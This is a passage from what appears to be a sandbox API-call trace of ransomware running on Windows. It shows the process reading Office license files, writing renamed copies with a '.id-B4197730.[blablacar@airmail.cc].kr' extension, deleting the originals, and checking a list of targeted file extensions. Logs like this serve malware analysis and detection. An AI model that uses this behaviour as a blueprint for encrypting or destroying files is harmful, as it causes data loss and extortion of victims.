hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10655) returned 1 [0212.406] CloseHandle (hObject=0x3bc) returned 1 [0212.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms")) returned 0x220 [0212.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.406] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.406] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0212.407] GetLastError () returned 0x0 [0212.407] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x299f, lpOverlapped=0x0) returned 1 [0213.154] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x29a0, lpOverlapped=0x0) returned 1 [0213.179] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.179] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0213.179] SetEndOfFile (hFile=0x36c) returned 1 [0213.180] CloseHandle (hObject=0x36c) returned 1 [0213.180] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.180] SetEndOfFile (hFile=0x3bc) returned 1 [0213.199] CloseHandle (hObject=0x3bc) returned 1 [0213.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms")) returned 1 [0213.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.201] lstrlenW (lpString=".doc") returned 4 [0213.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.201] lstrlenW (lpString=".docx") returned 5 [0213.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.201] lstrlenW (lpString=".pdf") returned 4 [0213.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.201] lstrlenW (lpString=".xls") returned 4 [0213.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.201] lstrlenW (lpString=".xlsx") returned 5 [0213.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.201] lstrlenW (lpString=".ppt") returned 4 [0213.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.201] lstrlenW (lpString=".zip") returned 4 [0213.201] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.201] lstrlenW (lpString=".rar") returned 4 [0213.201] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.201] lstrlenW (lpString=".bz2") returned 4 [0213.201] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".7z") returned 3 [0213.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.202] lstrlenW (lpString=".dbf") returned 4 [0213.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.202] lstrlenW (lpString=".1cd") returned 4 [0213.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.202] lstrlenW (lpString=".jpg") returned 4 [0213.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.202] lstrlenW (lpString=".doc") returned 4 [0213.202] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".docx") returned 5 [0213.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.202] lstrlenW (lpString=".pdf") returned 4 [0213.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".xls") returned 4 [0213.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".xlsx") returned 5 [0213.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.202] lstrlenW (lpString=".ppt") returned 4 [0213.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.202] lstrlenW (lpString=".zip") returned 4 [0213.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".rar") returned 4 [0213.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".bz2") returned 4 [0213.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.202] lstrlenW (lpString=".7z") returned 3 [0213.203] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.203] lstrlenW (lpString=".dbf") returned 4 [0213.203] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.203] lstrlenW (lpString=".1cd") returned 4 [0213.203] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0213.203] lstrlenW (lpString=".jpg") returned 4 [0213.203] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.203] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.203] lstrlenW (lpString="PowerPointR_Retail-ul-phn.xrm-ms") returned 32 [0213.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.204] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19944) returned 1 [0213.204] CloseHandle (hObject=0x3bc) returned 1 [0213.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms")) returned 0x220 [0213.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.204] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.204] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0213.205] GetLastError () returned 0x0 [0213.205] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4de8, lpOverlapped=0x0) returned 1 [0213.210] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4df0, lpOverlapped=0x0) returned 1 [0213.211] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.211] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0213.212] SetEndOfFile (hFile=0x36c) returned 1 [0213.212] CloseHandle (hObject=0x36c) returned 1 [0213.212] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.212] SetEndOfFile (hFile=0x3bc) returned 1 [0213.215] CloseHandle (hObject=0x3bc) returned 1 [0213.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms")) returned 1 [0213.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.216] lstrlenW (lpString=".doc") returned 4 [0213.216] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.216] lstrlenW (lpString=".docx") returned 5 [0213.216] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.216] lstrlenW (lpString=".pdf") returned 4 [0213.216] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.216] lstrlenW (lpString=".xls") returned 4 [0213.216] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.216] lstrlenW (lpString=".xlsx") returned 5 [0213.216] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.216] lstrlenW (lpString=".ppt") returned 4 [0213.216] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.216] lstrlenW (lpString=".zip") returned 4 [0213.216] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString=".rar") returned 4 [0213.217] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString=".bz2") returned 4 [0213.217] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString=".7z") returned 3 [0213.217] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.217] lstrlenW (lpString=".dbf") returned 4 [0213.217] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.217] lstrlenW (lpString=".1cd") returned 4 [0213.217] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.217] lstrlenW (lpString=".jpg") returned 4 [0213.217] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.217] lstrlenW (lpString=".doc") returned 4 [0213.217] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString=".docx") returned 5 [0213.217] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.217] lstrlenW (lpString=".pdf") returned 4 [0213.217] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString=".xls") returned 4 [0213.217] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString=".xlsx") returned 5 [0213.217] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.217] lstrlenW (lpString=".ppt") returned 4 [0213.217] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.217] lstrlenW (lpString=".zip") returned 4 [0213.218] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.218] lstrlenW (lpString=".rar") returned 4 [0213.218] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.218] lstrlenW (lpString=".bz2") returned 4 [0213.218] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.218] lstrlenW (lpString=".7z") returned 3 [0213.218] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.218] lstrlenW (lpString=".dbf") returned 4 [0213.218] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.218] lstrlenW (lpString=".1cd") returned 4 [0213.218] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0213.218] lstrlenW (lpString=".jpg") returned 4 [0213.218] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.218] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.218] lstrlenW (lpString="PowerPointR_Trial-pl.xrm-ms") returned 27 [0213.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.219] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11159) returned 1 [0213.219] CloseHandle (hObject=0x3bc) returned 1 [0213.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms")) returned 0x220 [0213.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.220] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.220] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0213.220] GetLastError () returned 0x0 [0213.220] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2b97, lpOverlapped=0x0) returned 1 [0213.481] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0213.482] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.482] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0213.482] SetEndOfFile (hFile=0x36c) returned 1 [0213.745] CloseHandle (hObject=0x36c) returned 1 [0213.756] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.756] SetEndOfFile (hFile=0x3bc) returned 1 [0213.759] CloseHandle (hObject=0x3bc) returned 1 [0213.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms")) returned 1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.761] lstrlenW (lpString=".doc") returned 4 [0213.761] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString=".docx") returned 5 [0213.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.761] lstrlenW (lpString=".pdf") returned 4 [0213.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString=".xls") returned 4 [0213.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString=".xlsx") returned 5 [0213.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.761] lstrlenW (lpString=".ppt") returned 4 [0213.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.761] lstrlenW (lpString=".zip") returned 4 [0213.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString=".rar") returned 4 [0213.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString=".bz2") returned 4 [0213.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString=".7z") returned 3 [0213.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.761] lstrlenW (lpString=".dbf") returned 4 [0213.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.761] lstrlenW (lpString=".1cd") returned 4 [0213.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.761] lstrlenW (lpString=".jpg") returned 4 [0213.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.762] lstrlenW (lpString=".doc") returned 4 [0213.762] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString=".docx") returned 5 [0213.762] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.762] lstrlenW (lpString=".pdf") returned 4 [0213.762] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString=".xls") returned 4 [0213.762] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString=".xlsx") returned 5 [0213.762] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.762] lstrlenW (lpString=".ppt") returned 4 [0213.762] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.762] lstrlenW (lpString=".zip") returned 4 [0213.762] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString=".rar") returned 4 [0213.762] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString=".bz2") returned 4 [0213.762] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString=".7z") returned 3 [0213.762] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.762] lstrlenW (lpString=".dbf") returned 4 [0213.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.762] lstrlenW (lpString=".1cd") returned 4 [0213.762] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0213.762] lstrlenW (lpString=".jpg") returned 4 [0213.762] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.763] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.763] lstrlenW 